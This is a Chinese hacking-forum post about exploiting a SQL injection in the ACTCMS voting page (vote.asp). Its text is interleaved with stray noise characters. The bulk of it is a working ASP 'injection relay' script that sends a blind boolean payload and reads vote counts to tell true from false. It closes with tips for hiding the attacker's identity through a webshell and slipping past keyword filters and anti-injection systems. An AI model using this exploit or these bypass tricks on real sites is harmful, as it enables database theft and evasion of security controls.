6 T& g' H o$ e: a, g$ Y看到ninty大牛的blog的一篇文章
: G& I5 z) ~ _ S, c链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
9 B* @8 |. S$ O0 {" h7 |5 q关于actcms漏洞的利用 by 3x qq:381862589
3 X' v" X+ }$ J% F. ?6 W转载请注明以上
: |4 _2 E i1 O$ b% m, n漏洞文件:
% v: u: {5 W, X5 X3 H) r V4 _) M: J/plus/vote/vote.asp+ j! }- \& @, K, r+ t# ^5 ?
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then $ B& S( n" d% a
) Z( \+ b6 ~- m: O
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
( I2 Z+ \; V# B. V& v# T, n! N- O# B$ n
3 response.end
s/ o( F/ }" v. E1 f% Y8 G, M: s. `7 j4 n9 h
4 end if 7 d( z' {' p _4 W4 J1 s6 W
* {$ X9 k4 J& W2 i. D
5 for i=1 to request("voted").count
- C7 z, y0 q5 k( j, F( p- G
5 T+ ~9 [* ^2 A' x/ ^6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
0 x# q5 Z* ~& ^" [1 g7 J. G
. P0 k1 O P! O9 Y, W5 t7 next
8 X; Z9 e) e6 l& K2 z% k4 k( u; m2 J# r# i$ {& U
8.... " K) }; o6 o& f C, ^
8 G6 `3 A5 J5 ~ ]0 v- H, b9response.Redirect "index.asp?id="&id&"" ) M; f5 {# b. V* w
投票结束回跳转回index.asp这个投票结果页面
9 ?( y% [ p9 I* c. H如果投票成功票数加1/ T: L/ o0 E$ X" u6 R: L
失败票数不变7 `% a2 s' X/ ^) `8 _6 i
如图:: `8 q/ ]% ^: c O7 s+ r
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)) R$ b9 T/ ~( T( P# {
) x7 T! E3 a3 T* J( N5 H2009-12-27 13:20- W5 Z# ?0 ?1 o5 {4 s: L
$ I! V; s) x0 W8 V8 K
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了9 u7 z/ K( n, q/ L! s
5 ~5 Z6 L" {3 J" @: @) ?& S
本帖隐藏的内容需要回复才可以浏览
# n4 o. w& I% ~我们用注入中转来实现这个注入具体代码如下:
" x6 s. _5 [! \/ B! b% `先用寂寞的刺猬大牛的注入中转生成jmget.asp2 S: M) P5 U# z( S9 n
注入地址:http://localhost/actcms/plus/vote/vote.asp
% e# i0 a, A& x6 u4 [注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项7 {/ G! _; P8 Y$ X, \* K
: T `8 I) I8 `. Q4 h2 e7 u然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
0 v' H4 V) p* b9 Z, k7 C8 M# E& W" z
02JmdcwName=request("jmdcw")
& B& _ h5 R) t- ?- w6 d; G
" i- F$ C) G/ j4 r* l% }5 f03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
1 m2 [2 L" E& w/ V& Q2 K& O t* P: c$ h, j6 U9 S& c. \
04JmStr="id=1&voted=-1 or 1="&JmdcwName
. g; K" }+ F j- A/ ]
5 X x" C$ s1 ^05JmStr=URLEncoding(JmStr)
+ T: z9 u6 L/ A* G/ e+ P+ Z* V6 c( N
) A/ v, Z5 {) L" {! p) M( m06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"* U% y8 `2 C- Q) U6 d0 U+ ?6 q
1 ?) H. ?1 H& k+ i; h0 C" C07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
- i4 q7 R4 Q4 |7 j S
6 R: I/ I+ m0 q1 |! r08testurl=testurl & "?" & JmStr
: \ g4 a. E" O
1 I/ B, t- h$ A. R09JMUrl=JMUrl & "?" & JmStr 9 s: Y$ A$ {+ H/ I
- O8 b% ^. r# g( y) q: F% y& A0 j
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp": p8 [" g' O' {; T4 x0 u2 o
% L. A0 d0 Y5 f: Y+ @( G
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"7 Y( Q U' x- X
6 u0 q% o/ l" w+ Q12JmCok=replace(JmCok,chr(32),"%20") ! n+ Y0 m+ S# o& r4 i
, k3 ~4 J+ A, [. u3 b13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
6 `- Y0 Y+ u3 Y# z F% a+ q& k- R W K* m
14
- N5 v7 g! E$ h& k2 N8 m
$ D% \( m$ y5 a4 n7 T15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
1 [2 K# @/ f$ J
" J) y/ i' ~6 y8 M16 6 o; V T! ~- {0 o1 P/ L# o$ M
( g5 Z' ?/ X% r E! t2 K) x6 I; A
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
+ c4 T* t. d& \6 c! [4 Z8 j- U* N0 [) w. \ k7 i' s. h1 |
18response.write test1&""&test2&""
2 E, F9 [6 n, x& U h2 D. G6 R6 J
" O7 j" U$ W. ?* F( x; H+ O/ G5 C$ }19 4 o" j- T! D! d' |" e4 u
$ V( A$ R$ I- F% q3 S5 e: Z3 O
20if test1=test2 then '如前后记录相等,表示失败 1 G, ~& J0 v% F. P) I
. x, S+ W4 E0 @7 O21 response.write "failed"
4 F( P) j' d! o' Q5 \: c: Q: @- q% w+ L! z1 c* P- G
22else ; K4 e0 y. U o: m
* P& m! H3 J1 A O7 n; ]# {23 response.write "succeed"
% X2 _$ h4 O# k$ E1 y7 v3 C( E' W' V
24end if
! e4 M% g4 g( U, a9 V+ t6 }. m# P' J( q% K: ^. y
25
: k2 g7 r: e7 s( c8 E
' _3 D( b. m w% m {4 u26response.write "by 3x"
& A# D6 f9 Y) d$ \& a1 ]5 q/ J* A+ V: w% j
27 & @- B0 _- s- C- }) y
7 U( L# t \, C$ c% [5 O28 " F/ _: ^" ?/ i% L0 q% f
7 e2 V- p0 \$ C$ |* ?
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
2 ^) {7 q- g6 i* ?( v; g8 w+ ]2 M" b0 n& h$ z. l3 ^) C& |4 [
30Dim Http
: U# g( m Z. u
; u) ~1 z. ~6 \4 N" O- R% `" i& i31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
' Y1 P& {" @5 |/ }8 \
- r: K4 n! S# j+ `% q1 Z32With Http 4 ~7 n5 c& h" y) q8 I
+ i' i5 P, g, G5 F1 U; ]$ |33 2 |3 {9 [4 L% c
. ^* R v/ u1 a! i+ \34.Open "GET",PostUrl,False, O# A! ?, H5 B3 b
5 }: j2 C% y M+ o5 a/ k2 B35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"* K) ~- h" D3 k3 ]$ S% w. m* w1 K
1 g9 T4 c, j* P6 w1 r* T
36.SetRequestHeader "Referer",PostRef 2 _# V; }5 L0 S; L
7 V5 J! z: z. e% U" S G6 B' s" B
37.SetRequestHeader "Cookie",PostCok
$ F( P- p+ Q. y3 e3 ~2 W
2 Y" m. {8 n7 d d, [38.Send () + C9 E- c; W6 c0 N T. h
9 }- Z4 j+ T+ j; W: o1 U
39PostData = .ResponseBody
# j7 }# `" p1 P) b7 q/ @- Z! }* d
6 @1 y, b* i+ Y2 c40End With
. L' ` x$ M) L7 \' G3 [9 b y+ Z# F* V( P0 z
41Set Http = Nothing
% y% X: Y+ e" J, ?5 i$ k% E+ Q7 h7 A1 ]$ c; o2 }& K0 p/ ~
42PostData =bytes2BSTR(PostData)
, _ |8 ?: n5 Z+ O# }9 P8 }# z
$ o' f; S* s! B0 c43End Function v" I" k% u- a, b' u' [
% N; t4 d) J- L44
+ W% I& O0 {6 E+ Q# t% A
/ L) D1 R! M' B; [45
7 V' r$ F3 [" h* B% I* M$ D3 u9 k6 V s; Q" D s
46Function bytes2BSTR(vIn)
" }9 p9 Z" h; t( y8 O; J" R9 G4 q) C& v6 N/ P
47Dim strReturn % p. Q7 s5 a Q, G8 a6 c
" i3 B. e7 E3 |6 @9 q48Dim I, ThisCharCode, NextCharCode
9 m% K) X7 Z- T8 l: |! s
5 H9 `+ m/ N, t% ^0 V49strReturn = "": i6 L8 @/ p, E% a2 P4 N% d
% ~( M P: {9 Z2 _4 p
50For I = 1 To LenB(vIn) ; K, ]3 I; l+ Q7 y: t U1 r8 Y% x
$ x% t5 Z; p/ O% M51ThisCharCode = AscB(MidB(vIn, I, 1)) & U, K4 I, T7 m! E1 d1 B
( P5 L# Y( b8 C% C
52If ThisCharCode < &H80 Then" I5 i9 f' e+ i, T! T7 K
! c- ^) U6 C1 W3 m9 Y$ d4 ~
53strReturn = strReturn & Chr(ThisCharCode)
8 s. z _+ R+ Y" i) B5 L
. J* N7 @+ G& H7 z54Else. w7 _- j4 n+ j3 _! _/ S& z6 s
$ d6 r% I. A) R$ c: w) }) W% r55NextCharCode = AscB(MidB(vIn, I + 1, 1))
$ D& D* H8 n3 m* Z( a& y- n2 q4 D2 Q/ [$ r+ A, ?! a
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) % ~8 V2 v: m; ?: w) v) z/ k& O
* m t+ A r5 G# }* M
57I = I + 1
" I M: b+ Y; B- i' M
( X" }, G2 s2 }" w+ |58End If
6 Q3 c- }/ Z/ T( X$ }* D7 t! }' T' ]4 B9 t0 a
59Next
" }" a: a" T/ w s! [ J$ u8 {+ W1 B: d. g6 A0 E: w; C
60bytes2BSTR = strReturn
. H$ t! y; e9 ^& ^6 s. Q% w1 Y) U9 ?! ^+ d- q: O) r& J1 x
61End Function" l! h! N4 l# {8 l/ x7 @* u# |( S
( G) G8 `. y2 _- H* i
62 ) w1 w/ p0 f9 c
+ B" Z0 v% ^0 P4 I# n
63Function URLEncoding(vstrin) 0 W7 ]) Z4 [: D; _% m1 ~0 O( u
1 w6 G3 Y- Z+ h8 N$ W3 ~64strReturn=""- p- s( ?' S( g% N# y- z4 {
/ m% s3 U, X2 q
65Dim i 0 r7 Q) e* N' k" U. ^0 K
- E' `3 |7 W# B3 [66For i=1 To Len(vstrin) " @7 M) {& |: Y, `. C& ^3 L6 \
3 H' x; r" u2 v4 }0 \) _67ThisChr=Mid(vstrin,i,1) # e8 G$ L" |3 e4 D- V! F- M& d/ p
& J& u% O# F% o- d9 ]* [) q
68if Abs(Asc(ThisChr))< &HFF Then
( x# G' N. @( r8 o# L% p& Q) F( M/ y
69strReturn=strReturn & ThisChr 5 t" b& {3 `, @; z: X" l; ^
. k' H7 M1 c1 `
70Else! P( O. `! n4 e$ e/ v: Y" F+ z4 C& A
; z6 Z- |' O8 H# ~5 g6 a
71InnerCode=Asc(ThisChr) 8 ]+ S, H5 u5 z
/ o5 H1 I* |" S& ^
72If InnerCode<0 Then/ u' u" w0 l6 o: f" L* s8 J
: U1 z3 f) O5 A, L( h6 a7 ]5 T73InnerCode=InnerCode + &H10000 + @# V4 [- P- b$ O$ {4 Y
' @8 i0 V5 R( Q2 J74End If* U( h! q3 [3 t5 E' V( j' h
2 M' e& S/ ?& m9 s$ `9 |7 s( X75Hight1=(InnerCode And &HFF00) \&HFF
: z2 m' G* G6 m) D9 {' @9 z+ N5 F& L1 {# N( b
76Low1=InnerCode And &HFF " M5 v/ I6 A# \4 y* t @ l5 r
. h* s1 Z$ w* o0 S77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) / O9 b* j! z/ k
7 P! p6 P. c; I/ D) _6 A7 C78End if $ U0 T% s8 b, x+ k/ D4 e
2 B* K7 |" C7 H79Next
2 r' Z0 L$ ^7 t- \
) s8 Z5 K' d' U7 g- l80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
) e2 K) J7 K" ?
* v8 v3 d$ i4 ?/ X. M( ~* _81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
8 ?# F0 c- a/ \0 Y6 c, E/ _4 \4 }
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 6 x6 ^ |2 l" L- U% k* c. c
) l' |& |5 j4 I9 x4 A w! l83URLEncoding=strReturn 5 v% f- ?# L4 d3 }+ @/ |8 g/ a
* n' H$ v9 A* [9 C" ?9 {
84End Function3 \& I& X' B; G; s" y( f
" i. b. c+ q% Q5 w( B
85 / a, _) r( t: Q2 h1 v
/ x* O8 n$ V; s' a3 n2 b8 _86function getSt(body) U# s8 _8 b; h \, c, H
! o) v# _& o- ]7 w+ K' r0 l" s0 H87 startpot=instr(body,"投票人数:")+len("投票人数:") 0 M. j" f9 d% o* |# l5 @
9 v/ T: R# V( m88 endpot=instr(startpot,body," ")
3 |- Q2 x! I7 `$ |3 H3 S" r5 p* d- r- J+ l" c& \. X
89 getSt=mid(body,startpot,endpot-startpot)
5 |# X) C8 h' }' h9 g
. E8 g# F V5 @; D90end function " T' u. ?) g3 X
9 b: P: N) r- q* o. _" t3 k91%>' x, e% i( e8 w; e5 p
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了* u2 a! y$ [6 n# @3 [+ {3 Y
测试下效果:! s. @) |1 g9 ]: Y
投票成功:
+ X( w% s3 Y ?( R) D7 ^http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)' r5 S: `: M3 g3 `* P# t7 `; }) }
9 U1 H" k9 d2 k X: s1 B2009-12-27 13:29
1 W8 [- M* d& D7 k& t投票失败) V& {! z. |1 S$ u0 T9 U4 Q
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
; S# C. a5 t' g! U( z* j
) J* L( O f, k* [5 D, u8 A2009-12-27 13:29: V2 R: Z7 X( {9 a9 Z
-------------------------------------------------------------------------------8 I0 q) [( n3 Z; V! O! O
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以- a" O- @# p2 T
很抱歉。。。只能用单线程工具去注入。。。。。, f( o/ d9 I. E' r
所以失败。。。不好意思。。。
2 u! s# z: d! A6 V6 v5 m-------------------------------------------------------------------------------
[ r& G# U. x0 `$ Y8 {- K
# l% @; E7 ]+ s% S4 m2 H注入中转的一些其他应用
8 n" b. J" y6 F其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
/ a7 V# ~" w V$ c. U5 z: f1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id& H% h7 @' t3 {
2.post注入转成get型的注入,方便我们使用工具来跑
- d/ ^; ?, P% |5 l# y3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
$ }5 W/ @8 G0 q, L% |4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过4 O: p+ v/ O/ I5 K, v
5 x% t! N* V+ I. F' c% V; d |